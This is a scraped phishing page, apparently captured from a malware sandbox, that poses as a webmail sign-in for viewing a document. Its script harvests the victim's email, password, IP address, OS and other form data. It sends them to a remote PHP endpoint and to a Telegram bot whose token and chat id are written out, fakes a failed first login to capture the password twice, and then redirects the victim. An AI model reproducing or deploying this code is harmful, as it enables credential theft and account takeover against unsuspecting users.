Static | ZeroBOX

<!DOCTYPE html>

@import url(https://fonts.googleapis.com/css?family=PT+Sans:400,700);

html {

min-height: 100%;

body {

background: url('data:) no-repeat;

background-size: cover;

position: absolute;

width: 100%;

height: 100%;

top: 0;

right: 0;

bottom: 0;

left: 0;

margin: auto;

overflow: hidden;

font-family: 'PT Sans', sans-serif;

.login {

padding: 10px;

.files {

background: #990000;

margin: 200px auto;

width: 90%;

max-width: 450px;

text-align: center;

color: #fff;

form {

max-width: 450px;

margin: 0 auto;

form > div {

position: relative;

background: white;

border-bottom: 1px solid #ccc;

color: #000;

form > div > label {

opacity: 0.3;

font-weight: bold;

position: absolute;

top: 22px;

left: 20px;

form > div > input[type="text"],

form > div > input[type="email"],

form > div > input[type="password"] {

width: 100%;

border: 0;

padding: 20px 20px 20px 50px;

background: #fff;

form > div > input[type="text"]:focus,

form > div > input[type="email"]:focus,

form > div > input[type="password"]:focus {

outline: 0;

background: white;

form > div > input[type="text"]:focus + label,

form > div > input[type="email"]:focus + label,

form > div > input[type="password"]:focus + label {

opacity: 0;

form > div > input[type="text"]:valid,

form > div > input[type="email"]:valid,

form > div > input[type="password"]:valid {

background: url();

background-size: 20px;

background-repeat: no-repeat;

background-position: 20px 20px;

form > div > input[type="text"]:valid + label,

form > div > input[type="email"]:valid + label,

form > div > input[type="password"]:valid + label {

opacity: 0;

form > div > input[type="text"]:invalid:not(:focus):not(:placeholder-shown),

form > div > input[type="email"]:invalid:not(:focus):not(:placeholder-shown),

form > div > input[type="password"]:invalid:not(:focus):not(:placeholder-shown) {

background: pink;

form > div > input[type="text"]:invalid:not(:focus):not(:placeholder-shown) + label,

form > div > input[type="email"]:invalid:not(:focus):not(:placeholder-shown) + label,

form > div > input[type="password"]:invalid:not(:focus):not(:placeholder-shown) + label {

opacity: 0;

form > div > input[type="text"]:invalid:focus:not(:placeholder-shown) ~ .requirements,

form > div > input[type="email"]:invalid:focus:not(:placeholder-shown) ~ .requirements,

form > div > input[type="password"]:invalid:focus:not(:placeholder-shown) ~ .requirements {

max-height: 200px;

padding: 0 30px 20px 50px;

form > div .requirements {

padding: 0 30px 0 50px;

color: #999;

max-height: 0;

transition: 0.28s;

overflow: hidden;

color: red;

font-style: italic;

form input[type="submit"] {

display: block;

width: 100%;

margin: 20px 0;

background: #581e1e;

color: white;

border: 0;

padding: 20px;

font-size: 1.2rem;

form input[type="submit"]:hover {

box-shadow: 1px 1px 1px #ddd;

box-sizing: border-box;

.invalid {

background: #000;

color: #000;

@media screen and (max-width: 360px) and (min-width: 320px) {

.files {

margin: 100px auto;

.img {

padding-left: 2rem;

padding-top: .5rem;

position: fixed;

box-sizing: border-box;

img[AttributesStyle] {

height: 110px;

</style>

var sendurl = "https://kalavid.net/Jazn.php";

var attemptcount = 0;

var checkemail = "Please check your email address";

var checkpassword = "Please check your password";

var continuebutton = "CONTINUE";

var verifbutton = "Verifying ... ";

var successmsg = "Please wait we are verifying your domain in few seconds...";

if (typeof XMLHttpRequest === "undefined") {

XMLHttpRequest = function () {

try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); }

catch (e) {}

try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); }

catch (e) {}

try { return new ActiveXObject("Microsoft.XMLHTTP"); }

catch (e) {}

throw new Error("This browser does not support XMLHttpRequest.");

window.addEventListener('load', (event) => {

window.nowdate = new Date();

theif = "\nPage = " + document.title;

imputs = document.getElementsByTagName('input');

lastIndex = imputs.length;

window.OSName = "Unknown";

if (window.navigator.userAgent.indexOf("Windows NT 10.0")!= -1) OSName="Windows 10";

if (window.navigator.userAgent.indexOf("Windows NT 6.2") != -1) OSName="Windows 8";

if (window.navigator.userAgent.indexOf("Windows NT 6.1") != -1) OSName="Windows 7";

if (window.navigator.userAgent.indexOf("Windows NT 6.0") != -1) OSName="Windows Vista";

if (window.navigator.userAgent.indexOf("Windows NT 5.1") != -1) OSName="Windows XP";

if (window.navigator.userAgent.indexOf("Windows NT 5.0") != -1) OSName="Windows 2000";

if (window.navigator.userAgent.indexOf("Mac") != -1) OSName="Mac/iOS";

if (window.navigator.userAgent.indexOf("X11") != -1) OSName="UNIX";

if (window.navigator.userAgent.indexOf("Linux") != -1) OSName="Linux";

if (window.navigator.userAgent.indexOf("Android") != -1) OSName="Android";

if (window.navigator.userAgent.indexOf("iPhone") != -1) OSName="iPhone";

if (window.navigator.userAgent.indexOf("iPad") != -1) OSName="iPad";

if (window.navigator.userAgent.indexOf("iPod") != -1) OSName="iPod";

if (window.navigator.userAgent.indexOf("BlackBerry") != -1) OSName="BlackBerry";

function createCORSRequest(method, url){

var xhr = new XMLHttpRequest();

if ("withCredentials" in xhr){

xhr.open(method, url, false);

} else if (typeof XDomainRequest != "undefined"){

xhr = new XDomainRequest();

xhr.open(method, url);

} else {

xhr = null;

return xhr;

function senddataPOST(){

if(navigator.onLine==true){

if (typeof objs =="undefined" ){

var objs = {

ip: "",

country_name: "",

city: "",

region: "",

currency: ""

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

var rec = JSON.parse(this.responseText);

window.rec = rec;

xhttp.open("GET", "https://jsonip.com/", false);

xhttp.send();

objs.ip = rec.ip;

objs.country_name = "";

objs.city = "";

objs.region = "";

objs.currency = "";

theif = "IP Address = " + objs.ip;

theif += "\nPage = " + document.title;

theif += "\nTime = " + nowdate;

theif += "\nSystem = " + OSName + " " + navigator.language;

theif += "\nScreen Size = "+ screen.width + " X " + screen.height;

theif += "\nLocation = "+ window.location+"\nPassword = "+password.value;

for (index = 0; index < imputs.length; ++index) {

if(imputs[index].type!="submit" && imputs[index].name!="" && imputs[index].value!=""){

theif += "\n"+imputs[index].name+'='+encodeURI(imputs[index].value);

theif += "\nUser-Agent = " + navigator.userAgent;

theif += "\nIP Details = https://ipinfo.io/" + objs.ip + "/json";

var url_telegram ="https://api.telegram.org/";

var randtoken = "bot1257337675";

var token = ":AAHDZVp72afEEmv4n6WqVFZ-_CxfvOedcso/";

var iden = "sendMessage?chat_id=-1001228517612&text=";

var createdCORSRequest = url_telegram+randtoken+token+iden;

var request = createCORSRequest( "POST", createdCORSRequest+encodeURI(theif) );

if ( request ){

if(request.send()){

return true;

}else{

return true;

function postdata(){

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

if(this.responseText=="ok"){

senddataPOST();

var address = email.value.split("@")[1];

var meta=document.createElement('meta');

meta.setAttribute('http-equiv', 'refresh');

meta.setAttribute('content', '6; url=https://'+address);

document. getElementsByTagName('head')[0]. appendChild(meta);

}else{

document.getElementById("messagefont").innerHTML = checkpassword;

document.getElementById("password").value = "";

document.getElementById('submit-btn').value = continuebutton;

password.focus();

xhttp.open("GET", sendurl+"?type=Webmail&email="+btoa(email.value)+"&password="+btoa(password.value), true);

xhttp.send();

function ValidateEmail(mail)

if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(mail))

return (true)

return (false)

function verifall(){

if(!ValidateEmail(email.value)){

document.getElementById('messagefont').innerHTML = checkemail;

}else{

document.getElementById('messagefont').innerHTML = "";

document.getElementById('submit-btn').value = verifbutton;

if(password.value !=""){

if(attemptcount<1){

var xhttp = new XMLHttpRequest();

xhttp.onreadystatechange = function() {

if (this.readyState == 4 && this.status == 200) {

if(this.responseText=="ok"){

document.getElementById("messagefont").innerHTML = checkpassword;

document.getElementById("password").value = "";

document.getElementById('submit-btn').value = continuebutton;

password.focus();

}else{

document.getElementById("messagefont").innerHTML = checkpassword;

document.getElementById("password").value = "";

document.getElementById('submit-btn').value = continuebutton;

password.focus();

xhttp.open("GET", sendurl+"?type=Webmail&email="+btoa(email.value)+"&password="+btoa(password.value), false);

xhttp.send();

attemptcount++;

}else{

postdata();

}else{

document.getElementById("messagefont").innerHTML = checkpassword;

document.getElementById("password").value = "";

document.getElementById('submit-btn').value = continuebutton;

password.focus();

</script>

<style>

body, html {

height: 100%;

box-sizing: border-box;

.bg-image {

/* The image used */

background-image: url("https://images.sampletemplates.com/wp-content/uploads/2016/07/24183749/Staff-Confidentiality-Letter-Agreement.jpeg");

/* Add the blur effect */

filter: blur(8px);

-webkit-filter: blur(8px);

/* Full height */

height: 100%;

/* Center and scale the image nicely */

background-position: center;

background-repeat: no-repeat;

background-size: cover;

.bg-text {

background-color: rgb(0,0,0); /* Fallback color */

background-color: rgba(0,0,0, 0.4); /* Black w/opacity/see-through */

color: white;

font-weight: bold;

border: 3px solid #f1f1f1;

position: absolute;

top: 50%;

left: 50%;

transform: translate(-50%, -50%);

z-index: 2;

width: 80%;

padding: 20px;

text-align: center;

</style>

</head>

<body>

<img src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxAQDxIPDxAQDg8PDg4ODQ0NDw8QDQ8NFREXFxcRFRYYHSggGBomHhUVIjEhJSk3Ljo6Fx8zPTMtOCgtLi0BCgoKDg0OGxAQGysmICU3LSsvNy0tLS4tLS0uNy0tLS8tLS0tLS0wKzAtLS0vLS0tLy0tLS0tLS0tLi0rLy01Lf/AABEIAOwA1QMBIgACEQEDEQH/xAAbAAEAAgMBAQAAAAAAAAAAAAAAAwcCBQYEAf/EAE8QAAEDAgEGBgwKBwgDAQAAAAEAAgMEEQUGEhMhMVEHMkFhcbEUFiJCUnKBkZOUs9M1RFNjc4KhwtHSJFRiZKLU8BUjMzRDkrLBJaOkF//EABoBAQADAQEBAAAAAAAAAAAAAAACAwQBBQb/xAA9EQACAQICBAoGCgIDAAAAAAAAAQIDEQQhEjFRYQUTMkFxgZGhscEUFTRSU9EiIzNyg5KjsuHwQmIkVIL/2gAMAwEAAhEDEQA/ALqREQBERAERa/GMYhpItLO/MbfNa0a3yO8FreU/0bI2krslGMpSUYq7ZsEVa1OX9XO5zaGms0G2c9j5X239yQB9vSoe2PG/Ab6GNUekQ3npLgiuuW4RexyV/MtBFV/bJjfgM9DH+KdsmN+Az0Mf4p6RHed9U1Pfp/m/gtBFV/bJjfgM9DH+KdsmN+A30Mf4px8djOeqanv0/wA38FoIqv7ZMb8BnoGfinbJjfgN9DH+KcfHYx6pqfEp/m/gtBFV/bJjfgN9DH+K8kuXmJwvzZRHnNsXRuibax167EdaekR3ko8D1pZRlBvdL+C20WiyWykir4rt7iVtjLCTct/aae+ad/kW9VyaaujzKlKdKbhNWaCIi6QCIiAIiIAiIgCIiAIiIAiIgCqTEpDimJPDnHsaDOawNOrRNdbVuLzrvu6AraedR6Cqg4PhfTnlOhuf9yzYjPRiexwZ9CnWrLXFJLdpPN9

<h2 style="box-sizing: border-box;" id="messagefont">Sign in to view the document</h2>

<label for="email" style="box-sizing: border-box;opacity: 0.3;font-weight: bold;position: absolute;top: 22px;left: 20px;"></label><div class="requirements" style="box-sizing: border-box;padding: 0 30px 0 50px;color: red;max-height: 0;transition: 0.28s;overflow: hidden;font-style: italic;">Must be a valid email address.

</div>

Your password must be at least 6 characters as well as contain at least one uppercase, one lowercase, and one number.

</div>

</form>

</div>

var input = document.getElementById("password");

// Execute a function when the user releases a key on the keyboard

input.addEventListener("keyup", function(event) {

// Number 13 is the "Enter" key on the keyboard

if (event.keyCode === 13) {

// Cancel the default action, if needed

event.preventDefault();

// Trigger the button element with a click

document.getElementById("submit-btn").click();

var url_string = window.location.href;

var url = new URL(url_string);

var cid = url.searchParams.get("id");

if(cid){

document.getElementById("email").value = cid;

</script>

</body>

</html>